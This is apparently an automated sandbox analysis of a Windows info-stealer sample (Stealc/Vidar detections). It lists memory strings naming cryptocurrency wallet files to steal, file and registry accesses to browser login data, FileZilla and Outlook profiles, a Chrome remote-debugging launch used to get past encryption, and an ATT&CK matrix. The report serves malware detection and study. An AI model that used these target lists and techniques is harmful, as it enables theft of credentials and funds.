Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\info.seco
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsonN
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.00000000008E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet$
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\info.seco
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1680754967.000000000084C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1680754967.0000000000781000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1682005007.000000000102E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1323536742.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEC0C40 sqlite3_bind_zeroblob,	0_2_6CEC0C40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEC0D60 sqlite3_bind_parameter_name,	0_2_6CEC0D60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDE8EA0 sqlite3_clear_bindings,	0_2_6CDE8EA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEC0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CEC0B40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDE6410 bind,WSAGetLastError,	0_2_6CDE6410
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDE60B0 listen,WSAGetLastError,	0_2_6CDE60B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDEC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CDEC050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDE6070 PR_Listen,	0_2_6CDE6070
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDEC030 sqlite3_bind_parameter_count,	0_2_6CDEC030
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD722D0 sqlite3_bind_blob,	0_2_6CD722D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDE63C0 PR_Bind,	0_2_6CDE63C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	2 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
